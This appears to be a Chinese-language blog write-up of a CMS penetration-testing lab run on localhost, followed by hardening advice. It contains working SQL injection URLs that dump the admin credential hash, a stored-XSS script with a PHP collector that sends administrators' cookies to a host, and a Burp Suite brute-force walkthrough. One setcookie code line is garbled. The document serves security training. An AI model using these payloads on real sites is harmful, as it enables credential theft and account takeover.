大數據技術之數據安全與網絡安全——CMS靶場實訓
在當今數字化時代,大數據技術的迅猛發展帶來了前所未有的數據增長,同時也催生了對數據安全和網絡安全的更為迫切的需求。本篇博客將聚焦于大數據技術背景下的數據安全與網絡安全,并通過CMS(文章管理系統)靶場實訓,深入探討相應的解決方案與應對策略。
網絡安全作為保障大數據系統正常運行的基石,同樣備受關注。今天寫博客時候發現自己很久沒更新數據安全與網絡安全方面的內容了,于是花了點時間寫一篇CMS靶場實訓博客。本文通過CMS靶場實訓,深入分析CMS系統的安全漏洞,探討防范措施,提供實戰經驗和攻防能力,有助于加強大數據與網絡安全意識。
一、實訓項目要求
- 環境部署,正確部署CMS網站并運行。
- 通過工具,列出CMS網站的文件目錄結構。
- 搜集CMS網站的各項信息.
- 通過工具或代碼審計,詳細列出CMS 網站的漏洞缺陷。
- 給出CMS網站的加固方案。
二、環境
- 系統環境:Windows10
- IP:192.168.95.200(根據實際情況)
- 虛擬機可聯網
過程與分析
1.環境部署,正確部署CMS網站并運行。
Phpstudy版本為2016版本,解壓縮文件并下載安裝
安裝成功并啟動Apache和MySQL服務
打開phpstudy文件目錄找到www文件夾
解壓縮CMS靶場環境文件到www目錄下
打開C:\phpStudy\WWW\cms\include路徑下的database.inc文件,編輯該文件并修改數據庫密碼為root,然后ctrl+s保存
修改完文件后,重啟phpStudy更新配置文件信息。
重啟phpStudy后打開瀏覽器,輸入127.0.0.1看到phpMyAdmin目錄,進入該網頁。
輸入賬號和密碼,都是root
進入數據庫后點擊導入,將sql文件導入數據庫
成功將CMS導入數據庫
瀏覽器輸入127.0.0.1/cms成功部署CMS網站
點開留言板也是可以正常運行
這樣就正確部署CMS網站并能夠運行。
2.通過工具,列出CMS網站的文件目錄結構。
AWVS安全掃描操作方法
點擊File –> New –> Web Site Scan;or工具欄上的“New Scan”打開創建頁面,如下圖:
開始掃描127.0.0.1/cms/admin/login.php
3.搜集CMS網站的各項信息.
我們在主頁隨便點擊兩條新聞進行對比發現上面除了url中?id=33,?id=32之外沒有任何區別。
通過上面信息我們發現,更改id參數網站會自動跳轉頁面。
我們試試在后面輸入?id=33 order by 999 --+
http://127.0.0.1/cms/show.php?id=33 order by 999 --+
出現報錯Unknown column '999' in 'order clause'
我們可以知道,該網頁存在sql數值型注入。
在主頁使用搜索功能,可以看到使用的是 GET 方法傳參,用于搜索的參數是 keywords 和 button。
直接向 keywords 傳遞參數“”,由于參數被傳遞進入后會被直接執行,所以可以看到我們注入的腳本執行成功。
在keywords后面加入
發現我們的參數能夠被執行,判斷這里存在反射型 XSS漏洞。
我們在留言板留言,輸入
<script>alart(/xss/)</script>
登陸后臺出現彈窗驗證
由這里信息我們可以知道該網站存在存儲型xss漏洞。
4.通過工具或代碼審計,詳細列出CMS 網站的漏洞缺陷。
注入點判斷
?id=32' 也可以用?id=32 order by 999- --+
判斷是字符型還是數字型
試試加個單引號
加了單引號后有明顯報錯,根據報錯判斷存在數字型注入(如果報錯里面有數字,就是字符型,如果沒有,就是數字型)
判斷是否有布爾類型狀態
and1=1(真) and1=2(假)
試試http://127.0.0.1/cms/show.php?id=32 and 1=1
試試
http://127.0.0.1/cms/show.php?id=32 and 1=2
兩次頁面相同,一般認為沒有布爾類型狀態,不同代表有布爾類型狀態
我們使用 order by 函數進行判斷,因為我們要使用聯合查詢,并且在 ?id=32前面有一條select查詢語句,要使用聯合查詢的話需要判斷前面語句有多少列
我們隨便試試order by 10看看,發現頁面沒有反應
再試試http://127.0.0.1/cms/show.php?id=32%20order%20by%2020
發現報錯
Unknown column ‘20’ in ‘order clause’
那可能就是在10-20之間,我們在10-20之間一個一個試試。
我們繼續驗證發現他有15個列
點擊執行發現頁面正常,因為我們不知道表名,但是根據mysql數據庫特性,select語句在執行過程中并不需要指定表名。
因為頁面顯示的是第一章表的內容,那我們可以考慮讓第一張虛擬表的查詢條件為假,顯示第二條記錄從而構造sql語句
我們已經知道有15個列表我們試試select語句,并用–+將后面語句注釋掉。
127.0.0.1/cms/show.php?id=-32 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 --+
使用and 1=2或-32,我們發現頁面回顯3,11兩個數字,我們就可以把這兩個數字用函數替換掉
將3替換成version()函數函數,11替換成database().
127.0.0.1/cms/show.php/?id=-32 union select 1,2,version(),4,5,6,7,8,9,10,database(),12,13,14,15 --+
這樣就已經可以證明存在sql注入漏洞了
為了拿到后臺管理員的賬密
我們把databases()換成hex(group_concat(table_name))就得到了十六進制
在SQL注入攻擊中,負數ID常被用于欺騙程序,從而觸發漏洞。攻擊者可能會通過設置參數值為負數來實現對 WHERE 子句的修改,以便將惡意的查詢語句拼接到原始 SQL 語句的末尾。
我們可以這樣輸入:
127.0.0.1/cms/show.php?id=-32 union select 1,2,version(),4,5,6,7,8,9,10, hex(group_concat(table_name)),12,13,14,15 from information_schema.tables where table_schema=database()
information_schema
是一個MySQL數據庫中的系統數據庫,它包含了關于MySQL服務器中所有數據庫、表、列、索引、用戶等對象的元數據信息。
它是一個只讀的數據字典,其內部存儲的信息可以通過SQL查詢來獲取,包括各類數據庫對象的名稱、類型、大小、權限、注釋等詳細信息。因此,使用 information_schema
數據庫可以方便地查詢和管理所有數據庫對象的元數據信息
information_schema.TABLES
:包含所有表的信息,如表名、表類型、表引擎、表創建時間等。
得到16進制的編碼
636D735F61727469636C652C636D735F63617465676F72792C636D735F66696C652C636D735F667269656E646C696E6B2C636D735F6D6573736167652C636D735F6E6F746963652C636D735F706167652C636D735F7573657273
我們用解碼工具去還原十六進制
得到cms表名
cms_article,cms_category,cms_file,cms_friendlink,cms_message,cms_notice,cms_page, cms_users
我們試試查詢數據庫中的cms_users表:
127.0.0.1/cms/show.php?id=-32 union select 1,2,version(),4,5,6,7,8,9,10, hex(group_concat(table_name)),12,13,14,15 from information_schema.tables where table_schema=database() and table_name=cms_users
發現不行,試試在cms_user加個單引號
127.0.0.1/cms/show.php?id=-32 union select 1,2,version(),4,5,6,7,8,9,10, hex(group_concat(column_name)),12,13,14,15 from information_schema.columns s where table_schema=database() and table_name= 'cms_users'
其中hex(group_concat(column_name)) 是一個 SQL 查詢語句,用于計算一個字符串列中所有字符的十六進制編碼值。具體來說,它會將該列中的所有字符串連接起來,然后使用 group_concat 函數將它們合并成一個單一的字符串。接著,使用 hex 函數將這個字符串轉換為十六進制編碼值。information_schema.COLUMNS
:包含所有表列的信息,如列名、列數據類型、列是否為 NULL 等。
這樣就可以得到:
7573657269642C757365726E616D652C70617373776F7264
該SQL注入語句的目的是通過獲取 cms_users
表的名稱和當前數據庫的版本號來獲取有關 cms
數據庫的信息
將得到的數字放到網頁解碼工具進行解碼
userid,username,password
就得到了三個字段的內容,我們根據順序查詢username和password就可以
我們直接查表,用從concat函數,在 ASCII 編碼中,0x3a 是一個十六進制值,對應于 ASCII 字符 “:”。因此,當將 0x3a 作為字符串參數傳遞給 SQL 函數時,它會被解釋為 “:” 字符。
127.0.0.1/cms/show.php?id=-32 union select 1,2,version(),4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15 from cms_users
我們就得到了賬號和加密后的密碼
admin:e10adc3949ba59abbe56e057f20f883e
密碼是用密文的形式保存在數據庫中,觀察密文得知是md5加密,我們可以用md5在線解密破解,md5解密加密來進行解密,可以忽略加密類型。
得到了管理員賬號和密碼
賬號:admin
密碼:123456
我們嘗試看能不能登錄
最終也可以成功登入后臺:
XSS注入
反射型 XSS
cms文章管理系統的留言板存在xss漏洞,我們通過構造代碼進行注入
我們先試試輸入留言
留言成功,我們登錄后臺查看留言情況。
發現觸發xss彈窗并且留言成功
查看網頁源碼后發現我們構造的payload已經成功被嵌入解析。
獲取管理員的cookie
獲取CMS后臺管理員的cookie,經過前面的測試我們知道在該CMS文章系統前臺的留言板存在xss漏洞,因此我們可以通過存儲型的xss注入,利用JavaScript獲取cookie再傳送到我們自己的網站底下。
我們先寫好相應的腳本文件:
getcookie.js:
function getcookie(){var url="http://127.0.0.1/cms/getcookie.php";var data = "cookie="+document.cookie;var xmlhttp = new XMLHttpRequest();xmlhttp.open("POST",url);xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");//content-type:表名內容類型,決定瀏覽器以什么形式進行編碼讀取這個文件。//application/x-www-form-urlencoded:最常見的POST提交數據的方式xmlhttp.send(data);
}
getcookie();
getcookie.php:
<?php$cookie=@$_POST['cookie'];file_put_contents("cookie.txt", $cookie."\n",FILE_APPEND);
?>
在CMS文章系統的留言板注入代碼:
<script src="http://127.0.0.1/cms/getcookie.js"></script>
然后我們模擬管理員在后臺審核留言板的內容,觸發xss攻擊:
最終拿到管理員的cookie:
這樣我們獲得了CMS文章管理系統后臺管理員的cookie。
使用burpsuite抓包進行爆破
進入客戶機的控制臺。
打開瀏覽器登錄頁面,瀏覽器跳轉到正常登入界面。瀏覽器網址是http://127.0.0.1/cms/index.php
打開Burp Suite。
在瀏覽器網絡代理設置HTTP代理為127.0.0.1,端口號為8080,【確定】保存。
抓包之前先解決中文亂碼問題,設置為宋體
啟動burpsuite進行抓包。
設置代理
然后在瀏覽器的登錄界面隨便輸入一個用戶名admin,隨意輸入密碼,點擊“登錄”,BurpSuite就會自動抓取頁面向服務器發送的數據包。
瀏覽器網址是
在抓取的包內容界面,右擊將選擇“Send to Intruder”,將包內容發送至Intruder界面。
進入Intruder界面。Target小界面的內容不用更改。
轉到Positions小界面,選擇“Clear §”,將默認選中要破解的內容去掉。然后選中賬號§admin§和密碼“123”,點擊“Add §”添加破解內容。選擇“Cluster bomb”。
轉到Payloads小界面添加數據字典。如果是破解多個參數,則“Payload set”這里可以點擊選擇“1”、“2”等,進行切換添加數據字典。
在payload set 1這里設置第一個要爆破的參數,在“Add”后,往字典中添加一些常見的賬號比如admin、test、root等等。
添加賬號、密碼字典后,點擊 Start attack,開始爆破。
爆破完成之后,會發現最終爆破的結果, 我們通過Length不同返回結果對比找到了可以成功登錄的賬號和密碼。
登錄驗證一下發現賬號 密碼為
admin 123456
還有Admin 123456
驗證一下
最后發現通過burpsuite爆破出來的賬號和密碼都可以成功登錄后臺。
CMS網站的加固方案。
要避免數值型 SQL 注入,可以采取以下措施:
輸入驗證:在將用戶輸入傳遞到SQL查詢之前,請確保對其進行驗證和過濾。可以使用 PHP 中的 is_numeric() 函數檢查輸入是否為數字。 is_numeric() 是 PHP 中的一個內置函數,它用于檢查給定的變量是否是數字或數字字符串。如果變量是數字或數字字符串,則返回 true。否則,返回 false
在SQL注入攻擊中,參數化查詢是一種有效的防御措施。它可以將用戶輸入的數據作為參數傳遞給SQL查詢語句,從而避免惡意代碼注入。以下是一些關于如何進行參數化查詢的常見方法:
1.使用預編譯語句:預編譯語句是一種將SQL查詢語句和參數綁定在一起的方式。使用預編譯語句可以確保用戶輸入的數據不會被解析為SQL命令。例如,可以使用PDO或mysqli_prepare函數來執行預編譯語句。
2.使用占位符:占位符是一種用于代替實際參數值的特殊字符。在SQL查詢語句中使用占位符可以防止惡意代碼注入。例如,可以使用?來代替實際參數值。
3.過濾用戶輸入:在接收用戶輸入時,應該對其進行過濾和驗證,以確保其符合預期格式。例如,只允許輸入數字和小數點,不允許輸入特殊字符等。
4.避免使用動態SQL語句:動態SQL語句是指在運行時生成的SQL查詢語句。使用動態SQL語句容易受到SQL注入攻擊。應該盡量避免使用動態SQL語句,或者使用參數化查詢來替代。
最小化特權:使用最小化特權原則,即僅為執行所需操作的用戶分配必要的權限。這樣,即使攻擊者成功注入 SQL 查詢,他們也無法執行敏感操作或訪問敏感數據。
1.只授予必要的權限:在創建數據庫用戶和授權時,只授予其完成任務所需的最小權限。例如,只允許數據庫用戶讀取和寫入數據,而不允許其執行其他操作。
2.避免使用超級管理員賬戶:超級管理員賬戶具有最高的權限,因此應該避免使用。如果必須使用超級管理員賬戶,應該對其進行嚴格的限制和監控。
3.禁用不必要的功能:在應用程序中禁用不必要的功能和服務,以減少攻擊者利用漏洞的可能性。例如,禁用遠程訪問數據庫的功能。
4.定期更新和修補軟件:及時更新和修補軟件可以修復已知的漏洞和安全問題,從而提高應用程序的安全性。
XSS漏洞防范
對于應對xss攻擊,可以使用 PHP 中的一些內置函數來過濾和驗證用戶輸入。下面是其中一些常用的函數:
- strip_tags():從字符串中刪除 HTML 和 PHP 標記。這個函數可以幫助防止 XSS 攻擊。
- htmlentities():將特殊字符轉換為 HTML 實體。例如,將 “<” 轉換為 “<”。這個函數也可以幫助防止 XSS 攻擊。
- addslashes():在字符串中添加反斜杠以轉義特殊字符。這個函數可以幫助防止 SQL 注入攻擊。
- intval() 或 floatval():將字符串轉換為整數或浮點數類型。這個函數可以幫助確保接受數字格式的輸入,并避免類型錯誤。
- filter_var():使用指定的過濾器過濾變量。例如可以使用 FILTER_VALIDATE_EMAIL 過濾器來驗證電子郵件地址。
6.使用 PHP 內置函數 mysqli_real_escape_string() 或 PDO::quote() 等函數對用戶輸入進行轉義,以避免特殊字符被錯誤解釋。
XSS的威力主要是取決于JavaScript能夠實現的程度,XSS跨站腳本的形成原因是對輸入輸出沒有嚴格過濾,導致在頁面上可以執行JavaScript等客戶端代碼,我們只要將敏感字符過濾,就可以修復XSS跨站漏洞。
修復和防范方法:
1.在cookie中設置了HttpOnly屬性,那么通過JavaScript腳本將無法讀取到cookie信息,這樣能一定程度上防止XSS攻擊。
例如原網站cookie設置安全性較低并且該cookie在用戶的瀏覽器中保持長時間,即使用戶已經退出網站或關閉了瀏覽器也是如此。如果攻擊者能夠訪問用戶計算機或使用同一計算機的其他人,則可以利用該cookie訪問受保護的頁面。
修改setcookie函數并添加ttpOnly屬性并修改cookie保存時間:
setcookie(‘username’, u s e r n a m e , t i m e ( ) + 86400 ? 7 , ′ / ′ , ′ ′ , f a l s e , t r u e ) ; i f ( e m p t y ( username, time()+86400 * 7, '/', '', false, true); if (empty( username,time()+86400?7,′/′,′′,false,true);if(empty(username) || empty($password)){
exit(“”);
}
這里設置setcookie()函數的第6個參數(secure)留空,以便允許使用非加密協議(如HTTP)。第7個參數(HttpOnly)設置為true,以確保該cookie僅通過HTTP頭傳遞給服務器,并且無法通過JavaScript等客戶端腳本讀取到該cookie的值。
2.假定所有輸入都是可疑的,必須對所有輸入中的script、iframe等字樣進行嚴格的檢查。這里的輸入不僅僅是用戶可以直接交互的輸入接口,也包括HTTP請求中的cookie中的變量,HTTP請求頭部中的變量等。
3.不僅驗證數據的類型,還要驗證其格式、長度、范圍和內容
4.過濾“<” 、“>” 將用戶輸入放入引號間,基本實現數據與代碼隔離;過濾雙引號防止用戶跨越許可的標記,添加自定義標記;過濾TAB和空格,防止關鍵字被拆分;過濾script關鍵字;過濾&#,防止HTML屬性繞過檢查。在客戶端和服務器端同時做數據的驗證與過濾。
5.對輸出的數據也要檢查,數據庫里的值有可能會在一個大網站的多處都有輸出,即使在輸入做了編碼等操作,在各處的輸出點時也要安全檢查。
例如對用戶登錄驗證進行加固
通過使用 PHP 內置的過濾器函數 filter_input() 進行驗證和過濾,并使用參數化查詢或預處理語句來執行 SQL 查詢,可以加強代碼的安全性。在原來代碼中,使用 setcookie() 函數將用戶名和用戶 ID 存儲在 cookie 中。可以通過改寫代碼使用會話機制等更安全的方式來存儲和傳遞這些信息。這樣就保證了一些敏感信息不易被竊取。
在密碼加密方面,通過PHP 內置的 password_hash() 和 password_verify() 函數可以在不需要額外編寫代碼的情況下,快速、輕松地對密碼進行安全加密和驗證。
加固之后的代碼:
// 驗證和過濾用戶輸入的數據
$username = filter_input(INPUT_POST, 'username', FILTER_SANITIZE_STRING);
$password = filter_input(INPUT_POST, 'password', FILTER_SANITIZE_STRING);if (empty($username) || empty($password)) {exit("<script>alert('用戶名或密碼不能為空!');window.history.go(-1)</script>");
}// 使用參數化查詢執行 SQL 查詢
$stmt = $db->prepare("SELECT userid, password FROM cms_users WHERE username = ?");
$stmt->execute([$username]);
$user_row = $stmt->fetch(PDO::FETCH_ASSOC);if (!empty($user_row) && password_verify($password, $user_row['password'])) {// 不存儲敏感信息到 cookie,而是使用會話機制等更安全的方式來存儲和傳遞數據$_SESSION['userid'] = $user_row['userid'];header("Location: index.php");
} else {exit("<script>alert('用戶名或密碼不正確!');window.history.go(-1)</script>");
將原來的 md5() 加密替換為 password_hash() 函數來使用 bcrypt 算法進行密碼加密。同時,還使用了 password_verify() 函數來驗證用戶提交的密碼是否和數據庫中存儲的密碼匹配。加強了安全防御。
對于網站的存在弱口令被burpsuite爆破,可以采取下面措施。
1.在登錄頁面中添加驗證碼進行人機識別。這樣可以有效地防止BurpSuite等工具進行自動化爆破。
2.強制要求使用更加復雜的密碼,包括數字、字母和特殊字符混合,比如aDkaSda123*.、ssfGkjh8g*.1、這種復雜密碼必要時候限制嘗試登錄次數。
3.在響應頭中添加Cache-Control或Pragma指令以禁用瀏覽器緩存,從而保護敏感數據不會被緩存到本地計算機。
4.使用SSL / TLS加密所有傳輸的數據以防止BurpSuite攔截和讀取提交的數據。例如,將協議從HTTP更改為HTTPS。
5.監視服務器日志以檢測和阻止意外的登錄嘗試。如果發現被攻擊爆破等異常行為,可以立即采取預防措施。
OK,通過本文cms靶場的實訓學習,希望有助于各位掌握惡意代碼攻擊的基本原理和相關操作,針對一些漏洞的加固方案,能提高大家的安全意識和實操水平。
后面會持續更新更多優質內容,感謝各位的喜歡與支持!